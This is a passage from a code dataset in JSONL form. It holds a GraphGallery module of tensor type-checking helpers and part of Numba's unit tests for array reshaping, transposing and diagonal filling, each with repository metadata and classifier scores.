"max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dataExploration.py", "max_issues_repo_name": "lucaskup/kaggleTitanicTrain", "max_issues_repo_head_hexsha": "36197cf1b62bc4f25a5b2e9fb24d97625bb9e386", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dataExploration.py", "max_forks_repo_name": "lucaskup/kaggleTitanicTrain", "max_forks_repo_head_hexsha": "36197cf1b62bc4f25a5b2e9fb24d97625bb9e386", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1642651297, "max_line_length": 159, "alphanum_fraction": 0.6813009587, "include": true, "reason": "import numpy", "num_tokens": 2986, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167302036300954, "lm_q2_score": 0.134775927848826, "lm_q1q2_score": 0.05952689112521803}}
{"text": "import torch\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport tensorflow.keras.backend as K\r\nfrom collections import Iterable\r\nfrom typing import Any, Optional\r\n\r\nfrom graphgallery import backend, intx, floatx\r\nfrom graphgallery.utils.raise_error import assert_kind\r\n\r\n__all__ = ['is_iterable',\r\n           'is_list_like',\r\n           'is_scalar_like',\r\n           'is_interger_scalar',\r\n           'infer_type',\r\n           'is_tensor',\r\n           'is_strided_tensor',\r\n           'is_sparse_tensor',\r\n           ]\r\n\r\ndef is_iterable(obj: Any) -> bool:\r\n    \"\"\"check whether `x` is an iterable object but not string\"\"\"\r\n    return isinstance(obj, Iterable) and not isinstance(obj, str)\r\n\r\n\r\ndef is_list_like(x: Any) -> bool:\r\n    \"\"\"Check whether `x` is list like, e.g., Tuple or List.\r\n\r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a list like sequence.\r\n    \"\"\"\r\n    return isinstance(x, (list, tuple))\r\n\r\n\r\ndef is_scalar_like(x: Any) -> bool:\r\n    \"\"\"Check whether `x` is a scalar, an array scalar, or a 0-dim array.\r\n\r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a scalar, an array scalar, or a 0-dim array.\r\n    \"\"\"\r\n    return np.isscalar(x) or (isinstance(x, np.ndarray) and x.ndim == 0)\r\n\r\n\r\ndef is_interger_scalar(x: Any) -> bool:\r\n    \"\"\"Check whether `x` is an Integer scalar.\r\n\r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a Integer scalar (built-in or Numpy integer).\r\n    \"\"\"\r\n    return isinstance(x, (int, np.int8,\r\n                          np.int16,\r\n                          np.int32,\r\n                          np.int64,\r\n                          np.uint8,\r\n                          np.uint16,\r\n                          np.uint32,\r\n                          np.uint64,\r\n                          ))\r\n \r\n\r\ndef infer_type(x: Any) -> bool:\r\n    \"\"\"Infer type of the input `x`.\r\n\r\n    Parameters:\r\n    ----------\r\n    x: Any python object\r\n\r\n    Returns:\r\n    ----------\r\n    dtype: string, the converted type of `x`:\r\n        1. `graphgallery.floatx()` if `x` is floating\r\n        2. `graphgallery.intx()` if `x` is integer\r\n        3. `'bool'` if `x` is bool.\r\n\r\n    \"\"\"\r\n    # For tensor or variable\r\n    if is_th_tensor(x):\r\n        if x.dtype.is_floating_point:\r\n            return floatx()\r\n        elif x.dtype == torch.bool:\r\n            return 'bool'\r\n        elif 'int' in str(x.dtype):\r\n            return intx()\r\n        else:\r\n            raise RuntimeError(f'Invalid input of `{type(x)}`')\r\n        \r\n    elif is_tf_tensor(x):\r\n        if x.dtype.is_floating:\r\n            return floatx()\r\n        elif x.dtype.is_integer or x.dtype.is_unsigned:\r\n            return intx()\r\n        elif x.dtype.is_bool:\r\n            return 'bool'\r\n        else:\r\n            raise RuntimeError(f'Invalid input of `{type(x)}`')\r\n\r\n    if not hasattr(x, 'dtype'):\r\n        x = np.asarray(x)\r\n\r\n    if x.dtype.kind in {'f', 'c'}:\r\n        return floatx()\r\n    elif x.dtype.kind in {'i', 'u'}:\r\n        return intx()\r\n    elif x.dtype.kind == 'b':\r\n        return 'bool'\r\n    elif x.dtype.kind == 'O':\r\n        raise RuntimeError(f'Invalid inputs of `{x}`.')\r\n    else:\r\n        raise RuntimeError(f'Invalid input of `{type(x)}`')\r\n    \r\n\r\ndef is_sparse_tensor(x: Any, kind: Optional[str] = None) -> bool:\r\n    \"\"\"Check whether `x` is a sparse Tensor.\r\n    \r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n    \r\n    kind: str, optional.\r\n        \"T\" for TensorFlow\r\n        \"P\" for PyTorch\r\n        if not specified, using `backend().kind` instead.    \r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a (tf or torch) sparse-tensor.\r\n    \"\"\"\r\n    if kind is None:\r\n        kind = backend().kind\r\n    else:\r\n        assert_kind(kind)\r\n        \r\n    if kind == \"T\":\r\n        return is_tf_sparse_tensor(x)\r\n    else:\r\n        return is_th_sparse_tensor(x)\r\n\r\n\r\ndef is_strided_tensor(x: Any, kind: Optional[str] = None) -> bool:\r\n    \"\"\"Check whether `x` is a strided (dense) Tensor.\r\n    \r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n    \r\n    kind: str, optional.\r\n        \"T\" for TensorFlow\r\n        \"P\" for PyTorch\r\n        if not specified, using `backend().kind` instead.    \r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a (tf or torch) strided (dense) Tensor.\r\n    \"\"\"\r\n    \r\n    if kind is None:\r\n        kind = backend().kind\r\n    else:\r\n        assert_kind(kind)\r\n        \r\n    if kind == \"T\":\r\n        return is_tf_strided_tensor(x)\r\n    else:\r\n        return is_th_strided_tensor(x)\r\n    \r\n\r\ndef is_tensor(x: Any, kind: Optional[str]=None) -> bool:\r\n    \"\"\"Check whether `x` is \r\n        tf.Tensor,\r\n        tf.Variable,\r\n        tf.RaggedTensor,\r\n        tf.sparse.SparseTensor,\r\n        torch.Tensor, \r\n        torch.sparse.Tensor.\r\n\r\n    Parameters:\r\n    ----------\r\n    x: A python object to check.\r\n    \r\n    kind: str, optional.\r\n        \"T\" for TensorFlow\r\n        \"P\" for PyTorch\r\n        if not specified, using `backend().kind` instead.    \r\n\r\n    Returns:\r\n    ----------\r\n    `True` iff `x` is a (tf or torch) (sparse-)tensor.\r\n    \"\"\"\r\n    if kind is None:\r\n        kind = backend().kind\r\n    else:\r\n        assert_kind(kind)\r\n        \r\n    if kind == \"T\":\r\n        return is_tf_tensor(x)\r\n    else:\r\n        return is_th_tensor(x)\r\n\r\n\r\ndef is_tf_sparse_tensor(x: Any) -> bool:\r\n    return K.is_sparse(x)\r\n\r\n\r\ndef is_th_sparse_tensor(x: Any) -> bool:\r\n    return is_th_tensor(x) and not is_th_strided_tensor(x)\r\n\r\n\r\ndef is_tf_strided_tensor(x: Any) -> bool:\r\n    return any((isinstance(x, tf.Tensor),\r\n                isinstance(x, tf.Variable),\r\n                isinstance(x, tf.RaggedTensor)))\r\n\r\n\r\ndef is_th_strided_tensor(x: Any) -> bool:\r\n    return is_th_tensor(x) and x.layout == torch.strided\r\n               \r\ndef is_tf_tensor(x: Any) -> bool:\r\n    return is_tf_strided_tensor(x) or is_tf_sparse_tensor(x)\r\n\r\ndef is_th_tensor(x: Any) -> bool:\r\n    return torch.is_tensor(x)\r\n", "meta": {"hexsha": "5e2376aef7917f5ff5e58256ad757579b8959a6f", "size": 6115, "ext": "py", "lang": "Python", "max_stars_repo_path": "graphgallery/utils/type_check.py", "max_stars_repo_name": "mengliu1998/GraphGallery", "max_stars_repo_head_hexsha": "025ac09e883f3e1e1b02000e086830c935884a6e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-31T07:24:59.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-31T07:24:59.000Z", "max_issues_repo_path": "graphgallery/utils/type_check.py", "max_issues_repo_name": "mengliu1998/GraphGallery", "max_issues_repo_head_hexsha": "025ac09e883f3e1e1b02000e086830c935884a6e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "graphgallery/utils/type_check.py", "max_forks_repo_name": "mengliu1998/GraphGallery", "max_forks_repo_head_hexsha": "025ac09e883f3e1e1b02000e086830c935884a6e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.8016877637, "max_line_length": 73, "alphanum_fraction": 0.5234668847, "include": true, "reason": "import numpy", "num_tokens": 1477, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.13477591742295678, "lm_q1q2_score": 0.0595268845394047}}
{"text": "from __future__ import print_function\n\nfrom functools import partial\nfrom itertools import permutations\nimport numba.unittest_support as unittest\n\nimport numpy as np\n\nfrom numba.compiler import compile_isolated, Flags\nfrom numba import jit, types, from_dtype, errors, typeof\nfrom numba.errors import TypingError\nfrom .support import TestCase, MemoryLeakMixin, CompilationCache, tag\n\nenable_pyobj_flags = Flags()\nenable_pyobj_flags.set(\"enable_pyobject\")\n\nno_pyobj_flags = Flags()\nno_pyobj_flags.set('nrt')\n\n\ndef from_generic(pyfuncs_to_use):\n    \"\"\"Decorator for generic check functions.\n        Iterates over 'pyfuncs_to_use', calling 'func' with the iterated\n        item as first argument. Example:\n\n        @from_generic(numpy_array_reshape, array_reshape)\n        def check_only_shape(pyfunc, arr, shape, expected_shape):\n            # Only check Numba result to avoid Numpy bugs\n            self.memory_leak_setup()\n            got = generic_run(pyfunc, arr, shape)\n            self.assertEqual(got.shape, expected_shape)\n            self.assertEqual(got.size, arr.size)\n            del got\n            self.memory_leak_teardown()\n    \"\"\"\n    def decorator(func):\n        def result(*args, **kwargs):\n            return (func(pyfunc, *args, **kwargs) for pyfunc in pyfuncs_to_use)\n        return result\n    return decorator\n\n\ndef array_reshape(arr, newshape):\n    return arr.reshape(newshape)\n\n\ndef numpy_array_reshape(arr, newshape):\n    return np.reshape(arr, newshape)\n\n\ndef flatten_array(a):\n    return a.flatten()\n\n\ndef ravel_array(a):\n    return a.ravel()\n\n\ndef ravel_array_size(a):\n    return a.ravel().size\n\n\ndef numpy_ravel_array(a):\n    return np.ravel(a)\n\n\ndef transpose_array(a):\n    return a.transpose()\n\n\ndef numpy_transpose_array(a):\n    return np.transpose(a)\n\ndef numpy_transpose_array_axes_kwarg(arr, axes):\n    return np.transpose(arr, axes=axes)\n\ndef array_transpose_axes(arr, axes):\n    return arr.transpose(axes)\n\ndef squeeze_array(a):\n    return a.squeeze()\n\n\ndef expand_dims(a, axis):\n    return np.expand_dims(a, axis)\n\n\ndef atleast_1d(*args):\n    return np.atleast_1d(*args)\n\n\ndef atleast_2d(*args):\n    return np.atleast_2d(*args)\n\n\ndef atleast_3d(*args):\n    return np.atleast_3d(*args)\n\n\ndef as_strided1(a):\n    # as_strided() with implicit shape\n    strides = (a.strides[0] // 2,) + a.strides[1:]\n    return np.lib.stride_tricks.as_strided(a, strides=strides)\n\n\ndef as_strided2(a):\n    # Rolling window example as in https://github.com/numba/numba/issues/1884\n    window = 3\n    shape = a.shape[:-1] + (a.shape[-1] - window + 1, window)\n    strides = a.strides + (a.strides[-1],)\n    return np.lib.stride_tricks.as_strided(a, shape=shape, strides=strides)\n\n\ndef add_axis2(a):\n    return a[np.newaxis, :]\n\n\ndef bad_index(arr, arr2d):\n    x = arr.x,\n    y = arr.y\n    # note that `x` is a tuple, which causes a new axis to be created.\n    arr2d[x, y] = 1.0\n\n\ndef bad_float_index(arr):\n    # 2D index required for this function because 1D index\n    # fails typing\n    return arr[1, 2.0]\n\n\ndef numpy_fill_diagonal(arr, val, wrap=False):\n    return np.fill_diagonal(arr, val, wrap)\n\n\nclass TestArrayManipulation(MemoryLeakMixin, TestCase):\n    \"\"\"\n    Check shape-changing operations on arrays.\n    \"\"\"\n\n    def setUp(self):\n        super(TestArrayManipulation, self).setUp()\n        self.ccache = CompilationCache()\n\n    @tag('important')\n    def test_array_reshape(self):\n        pyfuncs_to_use = [array_reshape, numpy_array_reshape]\n\n        def generic_run(pyfunc, arr, shape):\n            cres = compile_isolated(pyfunc, (typeof(arr), typeof(shape)))\n            return cres.entry_point(arr, shape)\n\n        @from_generic(pyfuncs_to_use)\n        def check(pyfunc, arr, shape):\n            expected = pyfunc(arr, shape)\n            self.memory_leak_setup()\n            got = generic_run(pyfunc, arr, shape)\n            self.assertPreciseEqual(got, expected)\n            del got\n            self.memory_leak_teardown()\n\n        @from_generic(pyfuncs_to_use)\n        def check_only_shape(pyfunc, arr, shape, expected_shape):\n            # Only check Numba result to avoid Numpy bugs\n            self.memory_leak_setup()\n            got = generic_run(pyfunc, arr, shape)\n            self.assertEqual(got.shape, expected_shape)\n            self.assertEqual(got.size, arr.size)\n            del got\n            self.memory_leak_teardown()\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_shape(pyfunc, arr, shape):\n            with self.assertRaises(NotImplementedError) as raises:\n                generic_run(pyfunc, arr, shape)\n            self.assertEqual(str(raises.exception),\n                             \"incompatible shape for array\")\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_size(pyfunc, arr, shape):\n            with self.assertRaises(ValueError) as raises:\n                generic_run(pyfunc, arr, shape)\n            self.assertEqual(str(raises.exception),\n                             \"total size of new array must be unchanged\")\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_multiple_negative(pyfunc, arr, shape):\n            with self.assertRaises(ValueError) as raises:\n                generic_run(pyfunc, arr, shape)\n            self.assertEqual(str(raises.exception),\n                             \"multiple negative shape values\")\n\n\n        # C-contiguous\n        arr = np.arange(24)\n        check(arr, (24,))\n        check(arr, (4, 6))\n        check(arr, (8, 3))\n        check(arr, (8, 1, 3))\n        check(arr, (1, 8, 1, 1, 3, 1))\n        arr = np.arange(24).reshape((2, 3, 4))\n        check(arr, (24,))\n        check(arr, (4, 6))\n        check(arr, (8, 3))\n        check(arr, (8, 1, 3))\n        check(arr, (1, 8, 1, 1, 3, 1))\n        check_err_size(arr, ())\n        check_err_size(arr, (25,))\n        check_err_size(arr, (8, 4))\n        arr = np.arange(24).reshape((1, 8, 1, 1, 3, 1))\n        check(arr, (24,))\n        check(arr, (4, 6))\n        check(arr, (8, 3))\n        check(arr, (8, 1, 3))\n\n        # F-contiguous\n        arr = np.arange(24).reshape((2, 3, 4)).T\n        check(arr, (4, 3, 2))\n        check(arr, (1, 4, 1, 3, 1, 2, 1))\n        check_err_shape(arr, (2, 3, 4))\n        check_err_shape(arr, (6, 4))\n        check_err_shape(arr, (2, 12))\n\n        # Test negative shape value\n        arr = np.arange(25).reshape(5,5)\n        check(arr, -1)\n        check(arr, (-1,))\n        check(arr, (-1, 5))\n        check(arr, (5, -1, 5))\n        check(arr, (5, 5, -1))\n        check_err_size(arr, (-1, 4))\n        check_err_multiple_negative(arr, (-1, -2, 5, 5))\n        check_err_multiple_negative(arr, (5, 5, -1, -1))\n\n        # 0-sized arrays\n        def check_empty(arr):\n            check(arr, 0)\n            check(arr, (0,))\n            check(arr, (1, 0, 2))\n            check(arr, (0, 55, 1, 0, 2))\n            # -1 is buggy in Numpy with 0-sized arrays\n            check_only_shape(arr, -1, (0,))\n            check_only_shape(arr, (-1,), (0,))\n            check_only_shape(arr, (0, -1), (0, 0))\n            check_only_shape(arr, (4, -1), (4, 0))\n            check_only_shape(arr, (-1, 0, 4), (0, 0, 4))\n            check_err_size(arr, ())\n            check_err_size(arr, 1)\n            check_err_size(arr, (1, 2))\n\n        arr = np.array([])\n        check_empty(arr)\n        check_empty(arr.reshape((3, 2, 0)))\n\n        # Exceptions leak references\n        self.disable_leak_check()\n\n    def test_array_transpose_axes(self):\n        pyfuncs_to_use = [numpy_transpose_array_axes_kwarg,\n                          array_transpose_axes]\n\n        def run(pyfunc, arr, axes):\n            cres = self.ccache.compile(pyfunc, (typeof(arr), typeof(axes)))\n            return cres.entry_point(arr, axes)\n\n        @from_generic(pyfuncs_to_use)\n        def check(pyfunc, arr, axes):\n            expected = pyfunc(arr, axes)\n            got = run(pyfunc, arr, axes)\n            self.assertPreciseEqual(got, expected)\n            self.assertEqual(got.flags.f_contiguous,\n                             expected.flags.f_contiguous)\n            self.assertEqual(got.flags.c_contiguous,\n                             expected.flags.c_contiguous)\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_axis_repeated(pyfunc, arr, axes):\n            with self.assertRaises(ValueError) as raises:\n                run(pyfunc, arr, axes)\n            self.assertEqual(str(raises.exception),\n                             \"repeated axis in transpose\")\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_axis_oob(pyfunc, arr, axes):\n            with self.assertRaises(ValueError) as raises:\n                run(pyfunc, arr, axes)\n            self.assertEqual(str(raises.exception),\n                             \"axis is out of bounds for array of given dimension\")\n\n        @from_generic(pyfuncs_to_use)\n        def check_err_invalid_args(pyfunc, arr, axes):\n            with self.assertRaises((TypeError, TypingError)):\n                run(pyfunc, arr, axes)\n\n        arrs = [np.arange(24),\n                np.arange(24).reshape(4, 6),\n                np.arange(24).reshape(2, 3, 4),\n                np.arange(24).reshape(1, 2, 3, 4),\n                np.arange(64).reshape(8, 4, 2)[::3,::2,:]]\n\n        for i in range(len(arrs)):\n            # First check `None`, the default, which is to reverse dims\n            check(arrs[i], None)\n            # Check supplied axis permutations\n            for axes in permutations(tuple(range(arrs[i].ndim))):\n                ndim = len(axes)\n                neg_axes = tuple([x - ndim for x in axes])\n                check(arrs[i], axes)\n                check(arrs[i], neg_axes)\n\n        # Exceptions leak references\n        self.disable_leak_check()\n\n        check_err_invalid_args(arrs[1], \"foo\")\n        check_err_invalid_args(arrs[1], (\"foo\",))\n        check_err_invalid_args(arrs[1], 5.3)\n        check_err_invalid_args(arrs[2], (1.2, 5))\n\n        check_err_axis_repeated(arrs[1], (0, 0))\n        check_err_axis_repeated(arrs[2], (2, 0, 0))\n        check_err_axis_repeated(arrs[3], (3, 2, 1, 1))\n\n        check_err_axis_oob(arrs[0], (1,))\n        check_err_axis_oob(arrs[0], (-2,))\n        check_err_axis_oob(arrs[1], (0, 2))\n        check_err_axis_oob(arrs[1], (-3, 2))\n        check_err_axis_oob(arrs[1], (0, -3))\n        check_err_axis_oob(arrs[2], (3, 1, 2))\n        check_err_axis_oob(arrs[2], (-4, 1, 2))\n        check_err_axis_oob(arrs[3], (3, 1, 2, 5))\n        check_err_axis_oob(arrs[3], (3, 1, 2, -5))\n\n\n    @tag('important')\n    def test_expand_dims(self):\n        pyfunc = expand_dims\n\n        def run(arr, axis):\n            cres = self.ccache.compile(pyfunc, (typeof(arr), typeof(axis)))\n            return cres.entry_point(arr, axis)\n\n        def check(arr, axis):\n            expected = pyfunc(arr, axis)\n            self.memory_leak_setup()\n            got = run(arr, axis)\n            self.assertPreciseEqual(got, expected)\n            del got\n            self.memory_leak_teardown()\n\n        def check_all_axes(arr):\n            for axis in range(-arr.ndim - 1, arr.ndim + 1):\n                check(arr, axis)\n\n        # 1d\n        arr = np.arange(5)\n        check_all_axes(arr)\n        # 3d (C, F, A)\n        arr = np.arange(24).reshape((2, 3, 4))\n        check_all_axes(arr)\n        check_all_axes(arr.T)\n        check_all_axes(arr[::-1])\n        # 0d\n        arr = np.array(42)\n        check_all_axes(arr)\n\n    def check_atleast_nd(self, pyfunc, cfunc):\n        def check_result(got, expected):\n            # We would like to check the result has the same contiguity,\n            # but we can't rely on the \"flags\" attribute when there are\n            # 1-sized dimensions.\n            self.assertStridesEqual(got, expected)\n            self.assertPreciseEqual(got.flatten(), expected.flatten())\n\n        def check_single(arg):\n            check_result(cfunc(arg), pyfunc(arg))\n\n        def check_tuple(*args):\n            expected_tuple = pyfunc(*args)\n            got_tuple = cfunc(*args)\n            self.assertEqual(len(got_tuple), len(expected_tuple))\n            for got, expected in zip(got_tuple, expected_tuple):\n                check_result(got, expected)\n\n        # 0d\n        a1 = np.array(42)\n        a2 = np.array(5j)\n        check_single(a1)\n        check_tuple(a1, a2)\n        # 1d\n        b1 = np.arange(5)\n        b2 = np.arange(6) + 1j\n        b3 = b1[::-1]\n        check_single(b1)\n        check_tuple(b1, b2, b3)\n        # 2d\n        c1 = np.arange(6).reshape((2, 3))\n        c2 = c1.T\n        c3 = c1[::-1]\n        check_single(c1)\n        check_tuple(c1, c2, c3)\n        # 3d\n        d1 = np.arange(24).reshape((2, 3, 4))\n        d2 = d1.T\n        d3 = d1[::-1]\n        check_single(d1)\n        check_tuple(d1, d2, d3)\n        # 4d\n        e = np.arange(16).reshape((2, 2, 2, 2))\n        check_single(e)\n        # mixed dimensions\n        check_tuple(a1, b2, c3, d2)\n\n    def test_atleast_1d(self):\n        pyfunc = atleast_1d\n        cfunc = jit(nopython=True)(pyfunc)\n        self.check_atleast_nd(pyfunc, cfunc)\n\n    def test_atleast_2d(self):\n        pyfunc = atleast_2d\n        cfunc = jit(nopython=True)(pyfunc)\n        self.check_atleast_nd(pyfunc, cfunc)\n\n    def test_atleast_3d(self):\n        pyfunc = atleast_3d\n        cfunc = jit(nopython=True)(pyfunc)\n        self.check_atleast_nd(pyfunc, cfunc)\n\n    def check_as_strided(self, pyfunc):\n        def run(arr):\n            cres = self.ccache.compile(pyfunc, (typeof(arr),))\n            return cres.entry_point(arr)\n        def check(arr):\n            expected = pyfunc(arr)\n            got = run(arr)\n            self.assertPreciseEqual(got, expected)\n\n        arr = np.arange(24)\n        check(arr)\n        check(arr.reshape((6, 4)))\n        check(arr.reshape((4, 1, 6)))\n\n    def test_as_strided(self):\n        self.check_as_strided(as_strided1)\n        self.check_as_strided(as_strided2)\n\n    def test_flatten_array(self, flags=enable_pyobj_flags, layout='C'):\n        a = np.arange(9).reshape(3, 3)\n        if layout == 'F':\n            a = a.T\n\n        pyfunc = flatten_array\n        arraytype1 = typeof(a)\n        if layout == 'A':\n            # Force A layout\n            arraytype1 = arraytype1.copy(layout='A')\n\n        self.assertEqual(arraytype1.layout, layout)\n        cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n        cfunc = cr.entry_point\n\n        expected = pyfunc(a)\n        got = cfunc(a)\n        np.testing.assert_equal(expected, got)\n\n    def test_flatten_array_npm(self):\n        self.test_flatten_array(flags=no_pyobj_flags)\n        self.test_flatten_array(flags=no_pyobj_flags, layout='F')\n        self.test_flatten_array(flags=no_pyobj_flags, layout='A')\n\n    def test_ravel_array(self, flags=enable_pyobj_flags):\n        def generic_check(pyfunc, a, assume_layout):\n            # compile\n            arraytype1 = typeof(a)\n            self.assertEqual(arraytype1.layout, assume_layout)\n            cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n            cfunc = cr.entry_point\n\n            expected = pyfunc(a)\n            got = cfunc(a)\n            # Check result matches\n            np.testing.assert_equal(expected, got)\n            # Check copying behavior\n            py_copied = (a.ctypes.data != expected.ctypes.data)\n            nb_copied = (a.ctypes.data != got.ctypes.data)\n            self.assertEqual(py_copied, assume_layout != 'C')\n            self.assertEqual(py_copied, nb_copied)\n\n        check_method = partial(generic_check, ravel_array)\n        check_function = partial(generic_check, numpy_ravel_array)\n\n        def check(*args, **kwargs):\n            check_method(*args, **kwargs)\n            check_function(*args, **kwargs)\n\n        # Check 2D\n        check(np.arange(9).reshape(3, 3), assume_layout='C')\n        check(np.arange(9).reshape(3, 3, order='F'), assume_layout='F')\n        check(np.arange(18).reshape(3, 3, 2)[:, :, 0], assume_layout='A')\n\n        # Check 3D\n        check(np.arange(18).reshape(2, 3, 3), assume_layout='C')\n        check(np.arange(18).reshape(2, 3, 3, order='F'), assume_layout='F')\n        check(np.arange(36).reshape(2, 3, 3, 2)[:, :, :, 0], assume_layout='A')\n\n    def test_ravel_array_size(self, flags=enable_pyobj_flags):\n        a = np.arange(9).reshape(3, 3)\n\n        pyfunc = ravel_array_size\n        arraytype1 = typeof(a)\n        cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n        cfunc = cr.entry_point\n\n        expected = pyfunc(a)\n        got = cfunc(a)\n        np.testing.assert_equal(expected, got)\n\n    def test_ravel_array_npm(self):\n        self.test_ravel_array(flags=no_pyobj_flags)\n\n    def test_ravel_array_size_npm(self):\n        self.test_ravel_array_size(flags=no_pyobj_flags)\n\n    def test_transpose_array(self, flags=enable_pyobj_flags):\n        @from_generic([transpose_array, numpy_transpose_array])\n        def check(pyfunc):\n            a = np.arange(9).reshape(3, 3)\n\n            arraytype1 = typeof(a)\n            cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n            cfunc = cr.entry_point\n\n            expected = pyfunc(a)\n            got = cfunc(a)\n            np.testing.assert_equal(expected, got)\n\n        check()\n\n    def test_transpose_array_npm(self):\n        self.test_transpose_array(flags=no_pyobj_flags)\n\n    def test_squeeze_array(self, flags=enable_pyobj_flags):\n        a = np.arange(2 * 1 * 3 * 1 * 4).reshape(2, 1, 3, 1, 4)\n\n        pyfunc = squeeze_array\n        arraytype1 = typeof(a)\n        cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n        cfunc = cr.entry_point\n\n        expected = pyfunc(a)\n        got = cfunc(a)\n        np.testing.assert_equal(expected, got)\n\n    def test_squeeze_array_npm(self):\n        with self.assertRaises(errors.TypingError) as raises:\n            self.test_squeeze_array(flags=no_pyobj_flags)\n\n        self.assertIn(\"squeeze\", str(raises.exception))\n\n    def test_add_axis2(self, flags=enable_pyobj_flags):\n        a = np.arange(9).reshape(3, 3)\n\n        pyfunc = add_axis2\n        arraytype1 = typeof(a)\n        cr = compile_isolated(pyfunc, (arraytype1,), flags=flags)\n        cfunc = cr.entry_point\n\n        expected = pyfunc(a)\n        got = cfunc(a)\n        np.testing.assert_equal(expected, got)\n\n    def test_add_axis2_npm(self):\n        with self.assertTypingError() as raises:\n            self.test_add_axis2(flags=no_pyobj_flags)\n        self.assertIn(\"unsupported array index type none in\",\n                      str(raises.exception))\n\n    def test_bad_index_npm(self):\n        with self.assertTypingError() as raises:\n            arraytype1 = from_dtype(np.dtype([('x', np.int32),\n                                              ('y', np.int32)]))\n            arraytype2 = types.Array(types.int32, 2, 'C')\n            compile_isolated(bad_index, (arraytype1, arraytype2),\n                             flags=no_pyobj_flags)\n        self.assertIn('unsupported array index type', str(raises.exception))\n\n    def test_bad_float_index_npm(self):\n        with self.assertTypingError() as raises:\n            compile_isolated(bad_float_index,\n                             (types.Array(types.float64, 2, 'C'),))\n        self.assertIn('unsupported array index type float64',\n                      str(raises.exception))\n\n    def test_fill_diagonal_basic(self):\n        pyfunc = numpy_fill_diagonal\n        cfunc = jit(nopython=True)(pyfunc)\n\n        def _shape_variations(n):\n            # square\n            yield (n, n)\n            # tall and thin\n            yield (2 * n, n)\n            # short and fat\n            yield (n, 2 * n)\n            # a bit taller than wide; odd numbers of rows and cols\n            yield ((2 * n + 1), (2 * n - 1))\n            # 4d, all dimensions same\n            yield (n, n, n, n)\n            # weird edge case\n            yield (1, 1, 1)\n\n        def _val_variations():\n            yield 1\n            yield 3.142\n            yield np.nan\n            yield -np.inf\n            yield True\n            yield np.arange(4)\n            yield (4,)\n            yield [8, 9]\n            yield np.arange(54).reshape(9, 3, 2, 1)  # contiguous C\n            yield np.asfortranarray(np.arange(9).reshape(3, 3))  # contiguous F\n            yield np.arange(9).reshape(3, 3)[::-1]  # non-contiguous\n\n        # contiguous arrays\n        def _multi_dimensional_array_variations(n):\n            for shape in _shape_variations(n):\n                yield np.zeros(shape, dtype=np.float64)\n                yield np.asfortranarray(np.ones(shape, dtype=np.float64))\n\n        # non-contiguous arrays\n        def _multi_dimensional_array_variations_strided(n):\n            for shape in _shape_variations(n):\n                tmp = np.zeros(tuple([x * 2 for x in shape]), dtype=np.float64)\n                slicer = tuple(slice(0, x * 2, 2) for x in shape)\n                yield tmp[slicer]\n\n        def _check_fill_diagonal(arr, val):\n            for wrap in None, True, False:\n                a = arr.copy()\n                b = arr.copy()\n\n                if wrap is None:\n                    params = {}\n                else:\n                    params = {'wrap': wrap}\n\n                pyfunc(a, val, **params)\n                cfunc(b, val, **params)\n                self.assertPreciseEqual(a, b)\n\n        for arr in _multi_dimensional_array_variations(3):\n            for val in _val_variations():\n                _check_fill_diagonal(arr, val)\n\n        for arr in _multi_dimensional_array_variations_strided(3):\n            for val in _val_variations():\n                _check_fill_diagonal(arr, val)\n\n        # non-numeric input arrays\n        arr = np.array([True] * 9).reshape(3, 3)\n        _check_fill_diagonal(arr, False)\n        _check_fill_diagonal(arr, [False, True, False])\n        _check_fill_diagonal(arr, np.array([True, False, True]))\n\n    def test_fill_diagonal_exception_cases(self):\n        pyfunc = numpy_fill_diagonal\n        cfunc = jit(nopython=True)(pyfunc)\n        val = 1\n\n        # Exceptions leak references\n        self.disable_leak_check()\n\n        # first argument unsupported number of dimensions\n        for a in np.array([]), np.ones(5):\n            with self.assertRaises(TypingError) as raises:\n                cfunc(a, val)\n            assert \"The first argument must be at least 2-D\" in str(raises.exception)\n\n        # multi-dimensional input where dimensions are not all equal\n        with self.assertRaises(ValueError) as raises:\n            a = np.zeros((3, 3, 4))\n            cfunc(a, val)\n            self.assertEqual(\"All dimensions of input must be of equal length\", str(raises.exception))\n\n        # cases where val has incompatible type / value\n        def _assert_raises(arr, val):\n            with self.assertRaises(ValueError) as raises:\n                cfunc(arr, val)\n            self.assertEqual(\"Unable to safely conform val to 